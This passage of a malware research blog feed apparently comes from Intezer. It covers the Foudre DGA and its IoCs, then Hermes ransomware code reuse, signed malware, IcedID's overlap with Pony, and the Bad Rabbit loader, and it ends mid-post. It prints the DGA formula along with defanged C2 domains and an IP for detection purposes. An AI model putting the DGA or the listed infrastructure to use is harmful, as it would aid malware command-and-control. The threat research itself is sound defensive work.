&lt;td&gt;Domain Generation Algorithm&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes, different (see below)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VirusTotal Detections&lt;/td&gt;
&lt;td&gt;41/66&lt;/td&gt;
&lt;td&gt;3/67&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;String Encryption&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Already Running Detection String&lt;/td&gt;
&lt;td&gt;TNRRDPKE&lt;/td&gt;
&lt;td&gt;TNRRDPKE2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Domain Generation Algorithm (DGA)&lt;span class="hx:absolute hx:-mt-20" id="domain-generation-algorithm-dga"&gt;&lt;/span&gt;
&lt;a href="#domain-generation-algorithm-dga" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The DGA used by version 8 of Foudre has only changed slightly from the previous
versions.&lt;/p&gt;
&lt;p&gt;In the previous versions, the DGA algorithm was calculated by the following
algorithm (credit to &lt;a href="https://twitter.com/xedi25"target="_blank" rel="noopener"&gt;Esmid Idrizovic&lt;/a&gt;):&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;ToHex(CRC32(&amp;#34;NRV1&amp;#34; &amp;#43; year &amp;#43; month &amp;#43; week_number)) &amp;#43; (&amp;#34;.space&amp;#34;|&amp;#34;.net&amp;#34;|&amp;#34;.top&amp;#34;)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;There are two minor differences now when calculating the C2. NRV1 was replaced
with NRTV1 and .dynu.net was added as suffix to the domain making the algorithm
now:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;ToHex(CRC32(&amp;#34;NRTV1&amp;#34; &amp;#43; year &amp;#43; month &amp;#43; week_number)) &amp;#43; (&amp;#34;.space&amp;#34;|&amp;#34;.net&amp;#34;|&amp;#34;.top&amp;#34;|&amp;#34;.dynu.net&amp;#34;)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;A few of the calculated domains were added to the bottom of the report in the
IoCs section. The domains up to week of September 9, 2018 (week 35) have been
registered in Panama and resolve to the same IP address &lt;code&gt;185[.]61[.]154[.]26&lt;/code&gt;.
The oldest domain using this algorithm we could find that was registered was
registered for the week of November 5, 2017.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2018/08/prince-of-persia-the-sands-of-foudre/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Due to the content of the video and the information from the reports on
previous versions of Foudre, we believe the targets are mostly Iranian
citizens. We have registered some of the future generated domains to prevent
the attack, and will update the post with information in regards to the
infected victims.&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files"&gt;&lt;/span&gt;
&lt;a href="#files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;WinRAR SFX c38533b85e4750e6f649cc407a50031de0984a8f3d5b90600824915433a5e218
D1 DLL a02ce6768662ef250d248c158f26129dd4dfab30845d07962fbfe7aa19b16db9
D2 DLL c7279a32329ebb1ab5c1cdbfbddb5a167e1505340c3ca72e837a222ff92665a6
Unknown Binary cef161a220e019acc9ae79924a477c64aac2d6cc04126bb3f4a9f8452515f40f
MP4 dbed2ca2e9c53dd72c3ed3ce60e603c6c91c80152f924d97d8514781e6d9e26f
lockbox3 signature d2645d16e869addd099727c3c58438c2f6935d92c00f9e4b237ef498de1dad87&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network"&gt;&lt;/span&gt;
&lt;a href="#network" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;185[.]61[.]154.26
ns1[.]cf75d89b[.]space
ns2[.]cf75d89b[.]space
Week 32 (Aug 5) - fe19f97f[.]space
Week 33 (Aug 12) - 891ec9e9[.]space
Week 34 (Sept 2) - 177a5c4a[.]space
Week 35 (Sept 9) - 607d6cdc[.]space
Week 36 (Sept 16) - f8b65751[.]space
Week 37 (Sept 23) - 8fb167c7[.]space
Week 38 (Sept 30) - 1f0e7a56[.]space
Week 39 (Oct 7) - 68094ac0[.]space
Week 40 (Oct 14) - 1d8bfc20[.]space&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Yet Another Distraction? A New Version of North Korean Ransomware Hermes Has Emerged</title><link>https://research.intezer.com/blog/2018/02/another-distraction-new-version-north-korean-ransomware-hermes/</link><pubDate>Thu, 08 Feb 2018 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2018/02/another-distraction-new-version-north-korean-ransomware-hermes/</guid><description>
&lt;h2&gt;Detecting Reused Ransomware&lt;span class="hx:absolute hx:-mt-20" id="detecting-reused-ransomware"&gt;&lt;/span&gt;
&lt;a href="#detecting-reused-ransomware" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Whether we’re dealing with a criminal threat actor looking to steal money from
their victims using ransomware or malware sponsored by a nation state, we can
consistently see the reuse of code. In this specific case, we have observed a
variant of a well-known ransomware, via a new version of Hermes from what may
have originated from a nation state threat actor.&lt;/p&gt;
&lt;p&gt;According to reports by researchers at
&lt;a href="https://securingtomorrow.mcafee.com/mcafee-labs/taiwan-bank-heist-role-pseudo-ransomware/"target="_blank" rel="noopener"&gt;McAfee&lt;/a&gt;
and
&lt;a href="http://baesystemsai.blogspot.com/2017/10/taiwan-heist-lazarus-tools.html"target="_blank" rel="noopener"&gt;BAE Systems&lt;/a&gt;,
a ransomware named Hermes was used as a diversion in an attack involving a bank
heist in Taiwan. The ransomware is thought to have originated from the Lazarus
group, a threat actor known to be affiliated with North Korea.
(&lt;a href="../../../2017/12/blockbusted-lazarus-blockbuster-north-korea/"&gt;You can be read about them in this blog post about the Blockbuster campaign.&lt;/a&gt;).
Security researcher
&lt;a href="https://twitter.com/demonslay335/status/960590594707017729"target="_blank" rel="noopener"&gt;@demonslay335&lt;/a&gt;
tweeted about the existence of a new sample Hermes 2.1, so our team decided to
take a deeper look.&lt;/p&gt;
&lt;h2&gt;Code Reuse Analysis of Hermes 2.1&lt;span class="hx:absolute hx:-mt-20" id="code-reuse-analysis-of-hermes-21"&gt;&lt;/span&gt;
&lt;a href="#code-reuse-analysis-of-hermes-21" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;When examining new binaries, the first step we take in our research is to take
the binary and upload it to our Intezer Analyze™ system in order to identify
code reuse.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/02/another-distraction-new-version-north-korean-ransomware-hermes/images/fig1.jpg" title="Code Reuse Analysis of Hermes" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Code Reuse Analysis of Hermes&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Here we can see some code reuse between the Hermes samples that were originally
discovered as well as the latest sample. Since the sample came out mostly
unique — indicating that much of the binary has changed — we were still able to
catch some key parts that clearly reuse code.&lt;/p&gt;
&lt;p&gt;Intezer Analyze™ caught these fragments, and with a deeper look into IDA Pro,
we find an exact function-for-function match:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2018/02/another-distraction-new-version-north-korean-ransomware-hermes/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;In other places, although the code is not exactly the same, we can see very
similar code to the original Hermes and techniques known to be used by Lazarus.&lt;/p&gt;
&lt;h2&gt;An Evolving Threat&lt;span class="hx:absolute hx:-mt-20" id="an-evolving-threat"&gt;&lt;/span&gt;
&lt;a href="#an-evolving-threat" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The last time this ransomware appeared there was a bank heist affiliated with
it, and now it is possible that this new sample was used in an attack where the
infected target was unaware of the intended result. It may have been used to
cover up intellectual property theft, bank fraud, or something even more
nefarious. At this moment in time, there is not enough information to make
definitive conclusions about the specific intent of the Lazarus group; however,
with the reappearance of Hermes, we can be confident that this likely won’t be
the last time this code will be used in an attack.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;bcb96251c3e747c0deabadfecc4e0ca4f56ca30f8985cae807ca2ff29099d818 New Sample
851032eb03bc8ee05c381f7614a0cbf13b9a13293dfe5e4d4b7cd230970105e3 Related Sample&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Don’t Be Fooled By Malware Signed with Stolen Certificates</title><link>https://research.intezer.com/blog/2017/12/dont-fooled-malware-signed-stolen-certificates-intezer-analyze-detects-major-breaches-security/</link><pubDate>Thu, 07 Dec 2017 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2017/12/dont-fooled-malware-signed-stolen-certificates-intezer-analyze-detects-major-breaches-security/</guid><description>
&lt;p&gt;Recent &lt;a href="http://www.umiacs.umd.edu/~tdumitra/papers/CCS-2017.pdf"target="_blank" rel="noopener"&gt;research&lt;/a&gt;
conducted by the Cyber Security Research Institute (CSRI) demonstrates how easy
and common it is for threat actors to purchase stolen digital certificates in
order to bypass security solutions. In this blog, we will use this research to
show how Intezer Analyze™ deals with signed malware files, even if it has a
legitimate certificate.&lt;/p&gt;
&lt;p&gt;Software publishers purchase costly certificates from a trusted certification
authority in order to prove their integrity. Many security vendors tend to
trust files containing valid digital signatures and automatically classify them
as trusted, giving these files a green light to run on machines.&lt;/p&gt;
&lt;p&gt;Easy access to stolen certificates means bypassing standard security protocols,
which can be done quite easily, having a high implication on security measures.&lt;/p&gt;
&lt;p&gt;Since Intezer Analyze™ differs from common threat detection methods by only
looking at the code and searching for code reuse, this solution can’t be fooled
by stolen certificates.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/12/dont-fooled-malware-signed-stolen-certificates-intezer-analyze-detects-major-breaches-security/images/fig1.png" title="List of malware containing legitimate certificate: http://signedmalware.org/" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;List of malware containing legitimate certificate: http://signedmalware.org/&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The well known Stuxnet worm found in 2010, believed to have caused substantial
damage to
&lt;a href="https://en.wikipedia.org/wiki/Iran%27s_nuclear_program"target="_blank" rel="noopener"&gt;Iran’s nuclear program&lt;/a&gt;,
used two separate stolen certificates.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/12/dont-fooled-malware-signed-stolen-certificates-intezer-analyze-detects-major-breaches-security/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;In addition to Stuxnet, CCleaner, a more recent attack, is another infamous
example of malware using stolen certificates to bypass existing security
protections. Hackers hid malware in
&lt;a href="../../../2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/"&gt;CCleaner&lt;/a&gt;
software distributing it to millions of users, exploiting the trust held
between consumers and vendors.&lt;/p&gt;
&lt;p&gt;The actual malware detected in CCleaner was found to contain malicious code:
the attackers implanted their code in a legitimate product that received a
legitimate certificate.&lt;/p&gt;
&lt;p&gt;Interesting findings of the latest research shows the extent of the method:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&amp;ldquo;We identify 325 signed malware samples in our data set. Of these, 189 (58.2%)
samples are properly signed while 136 carry malformed digital signatures, which
do not match the binary’s digest. Such malformed signatures are useful for an
adversary: we find that simply copying an Authenticode signature from a
legitimate sample to an unsigned malware sample may help the malware bypass AV
detection. The 189 samples signed correctly rely on 111 unique certificates. We
find that only 27 certificates were revoked; malware signed with one of the
remaining 84 certificates would still be trusted today as long as is carries a
trusted timestamp.&amp;rdquo;&lt;/em&gt; stated CSRI.&lt;/p&gt;
&lt;p&gt;Intezer Analyze™ does not care about certificates. Our malware analysis service
is providing an extensive understanding of any executable file by comparing
code on a massive scale to a comprehensive database of malware and trusted
software.&lt;/p&gt;
&lt;p&gt;For instance, certain samples of Zeus, a very popular banking trojan, used
stolen digital certificates. Although these samples are signed, Intezer
Analyze™ was able to detect the malware immediately.&lt;/p&gt;
&lt;p&gt;Here is the certificate of this file:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/12/dont-fooled-malware-signed-stolen-certificates-intezer-analyze-detects-major-breaches-security/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;And this is the analysis report of the file at Intezer Analyze™:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/12/dont-fooled-malware-signed-stolen-certificates-intezer-analyze-detects-major-breaches-security/images/fig4.png" title="https://analyze.intezer.com/#/analyses/4d77b764-384c-4fa6-a6d3-94bd2870d406" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;https://analyze.intezer.com/#/analyses/4d77b764-384c-4fa6-a6d3-94bd2870d406&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Although this malware sample was signed with a digital certificate, Intezer
Analyze™ identified Zeus code and instantly classified it as malicious.&lt;/p&gt;
&lt;p&gt;Intezer Analyze™ engine is powered by Code Intelligence technology performing
‘DNA Mapping’ for software. The engine enables the analysis and identification
of the origins of every tiny piece of code, within seconds. This technology
dissects any given file or binary into thousands of small fragments, and then
compares them to Intezer’s Genome Database, which contains billions of code
pieces from legitimate and malicious software offering an unparalleled level of
understanding of any potential threat.&lt;/p&gt;
&lt;p&gt;Once again we see that identifying the origins of files by finding code reuse
is very valuable in the scenario of malware signed with digital certificates.&lt;/p&gt;</description></item><item><title>IcedID Banking Trojan Shares Code with Pony 2.0 Trojan</title><link>https://research.intezer.com/blog/2017/11/icedid-banking-trojan-shares-code-pony-2-0-trojan/</link><pubDate>Mon, 13 Nov 2017 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2017/11/icedid-banking-trojan-shares-code-pony-2-0-trojan/</guid><description>
&lt;p&gt;IBM X-Force recently released an excellent
&lt;a href="https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/"target="_blank" rel="noopener"&gt;report&lt;/a&gt;
on a new banking trojan named IcedID that is being distributed using computers
already infected with Emotet. We took the MD5 of one of the droppers from the
IBM report and extracted the payload. After extracting the payload from one of
the droppers listed in the report, using Intezer Analyze™, we have found code
reuse from another malware named Pony, written about in a
&lt;a href="https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear"target="_blank" rel="noopener"&gt;report&lt;/a&gt;
by Proofpoint.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;#IcedID banking trojan payload – code overlap with #pony more details soon
&lt;a href="https://t.co/baS1fciJHX"target="_blank" rel="noopener"&gt;https://t.co/baS1fciJHX&lt;/a&gt; @malwrhunterteam @campuscod&lt;/p&gt;
&lt;p&gt;— Jay Rosenberg (@jaytezer)
&lt;a href="https://x.com/jaytezer/status/930054725290078213?ref_src=twsrc%5Etfw"target="_blank" rel="noopener"&gt;November 13, 2017&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Pony is a trojan that was being distributed via the Hancitor downloader,
distributed through Microsoft Word documents. The version of Pony used in the
reports is believed to be the same threat actor as Vawtrak. It was also sold
via underground forums until the source code was leaked online.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/11/icedid-banking-trojan-shares-code-pony-2-0-trojan/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Using the dive-in feature with the related Pony samples, we can see the
following:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/11/icedid-banking-trojan-shares-code-pony-2-0-trojan/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;With this information alone, it will be hard to attribute this sample to a
certain threat actor due to the public availability of the source code of Pony.&lt;/p&gt;
&lt;p&gt;Let’s take a look at some of the matching functions.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/11/icedid-banking-trojan-shares-code-pony-2-0-trojan/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;As we can see here, the function in these two samples is a 1:1 match. The
function above is called GrabOutlook in the Pony source code and is responsible
for stealing passwords from Outlook. (You may notice a difference because the
strings appear decrypted in the sample on the left as it looks like Proofpoint
dumped the sample with the strings already decrypted before uploading to
VirusTotal.)&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/11/icedid-banking-trojan-shares-code-pony-2-0-trojan/images/fig4.png" title="GrabOutlook function from Pony 2.0 source code" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;GrabOutlook function from Pony 2.0 source code&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;More specifically, we can tell the threat actor used code from version 2.0 of
Pony because in the Pony 1.9 source code, we do not see calls to DecipherList
which is responsible for decrypting the strings.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/11/icedid-banking-trojan-shares-code-pony-2-0-trojan/images/fig5.png" title="GrabOutlook function from Pony 1.9 source code" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;GrabOutlook function from Pony 1.9 source code&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Other shared functions from Pony:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OutlookExport&lt;/li&gt;
&lt;li&gt;OutlookReadPSItemValue&lt;/li&gt;
&lt;li&gt;OutlookScanPasswords&lt;/li&gt;
&lt;li&gt;OutlookScanProfiles&lt;/li&gt;
&lt;li&gt;PocomailScanReg&lt;/li&gt;
&lt;li&gt;IncrediMailScanReg&lt;/li&gt;
&lt;li&gt;CRC32Update&lt;/li&gt;
&lt;li&gt;CommonCryptUnprotectData&lt;/li&gt;
&lt;li&gt;MapFile&lt;/li&gt;
&lt;li&gt;PonyStrCat&lt;/li&gt;
&lt;li&gt;PonyStrCatFreeArg1&lt;/li&gt;
&lt;li&gt;DecipherList&lt;/li&gt;
&lt;li&gt;UnicodeToAnsiLen&lt;/li&gt;
&lt;li&gt;FileExists&lt;/li&gt;
&lt;li&gt;StreamUpdateModuleLen&lt;/li&gt;
&lt;li&gt;StreamWriteModuleHeader&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There may be other functions from Pony, but we can see that the shared code is
mostly related to stealing e-mail credentials.&lt;/p&gt;
&lt;p&gt;Time and time again, we see threat actors reusing the same code. If we look at
reused code, it makes it easier to detect malware. Such small code reuse makes
it very difficult to get these kinds of conclusions by manually reverse
engineering a file. The ability to automate the finding of code reuse makes our
job as malware analysts easier.&lt;/p&gt;
&lt;p&gt;Report Samples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IcedID Dropper:
&lt;code&gt;29f7469f8dc88820f72a9bdcb02badc1a40aa41b3f4b7f8caaa30409b3842aea&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;IcedID Payload:
&lt;code&gt;a6531184ea84bb5388d7c76557ff618d59f951c393a797950b2eb3e1d6307013&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Pony: &lt;code&gt;b19ec186f59b1f72c768ed2fcd8344d75821e527870b71e8123db96f683f1b68&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>NotPetya Returns as Bad Rabbit</title><link>https://research.intezer.com/blog/2017/10/notpetya-returns-bad-rabbit/</link><pubDate>Wed, 25 Oct 2017 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2017/10/notpetya-returns-bad-rabbit/</guid><description>
&lt;p&gt;Large scale cyber attacks seem to be happening once a month these days.
Originally discovered by
&lt;a href="https://www.welivesecurity.com/2017/10/24/kiev-metro-hit-new-variant-infamous-diskcoder-ransomware/"target="_blank" rel="noopener"&gt;ESET&lt;/a&gt;,
Ukrainian and Russian organizations have been hit with the latest ransomware
attack named Bad Rabbit. At the time of writing this post, the ransomware has
believed to have originated from compromised webpages with a fake popup for
updating Adobe Flash Player. It has been reported that much of the behavior of
Bad Rabbit has been similar to a previous ransomware known as NotPetya.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/10/notpetya-returns-bad-rabbit/images/fig1.png" title="Screenshot from ESET report, after ransomware has infected a computer" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Screenshot from ESET report, after ransomware has infected a computer&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Using Intezer Analyze™, we have found code reuse from NotPetya throughout
different binaries of Bad Rabbit.&lt;/p&gt;
&lt;p&gt;The Bad Rabbit loader, with the original name (install_flash_player.exe) and
metadata (Adobe Systems Incorporated as the company and Adobe Flash Player
Installer/Uninstaller), was made to look like the Adobe Flash Player installer.
You can see in the screenshot below that according to our analysis, the binary
did not contain any code from any Adobe product but does contain code from
NotPetya. In fact, we find that 27% of the code in the loader has been seen in
only NotPetya samples. Find the public report
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=notpetya-returns-bad-rabbit&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/analyses/6ba279af-8ce2-46c6-8b86-5fa65a5ed42a"target="_blank" rel="noopener"&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/notpetya-returns-bad-rabbit/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Below is a direct comparison of function (&lt;code&gt;0x1000C244&lt;/code&gt;) of NotPetya
(&lt;code&gt;027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745&lt;/code&gt;) and
function (&lt;code&gt;0x4033B4&lt;/code&gt;) of the Bad Rabbit loader
(&lt;code&gt;630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/notpetya-returns-bad-rabbit/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Another example of code reuse in the loader from a function that seems to
initialize some type of struct.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/notpetya-returns-bad-rabbit/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;#BadRabbit (#NotPetya v2) unpacked DLL: infpub.dat : &lt;a href="https://t.co/Ey5Yffsn74"target="_blank" rel="noopener"&gt;https://t.co/Ey5Yffsn74&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;— hasherezade (@hasherezade)
&lt;a href="https://x.com/hasherezade/status/922867095997681664?ref_src=twsrc%5Etfw"target="_blank" rel="noopener"&gt;October 24, 2017&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The final module that gets loaded and is responsible for encrypting the files
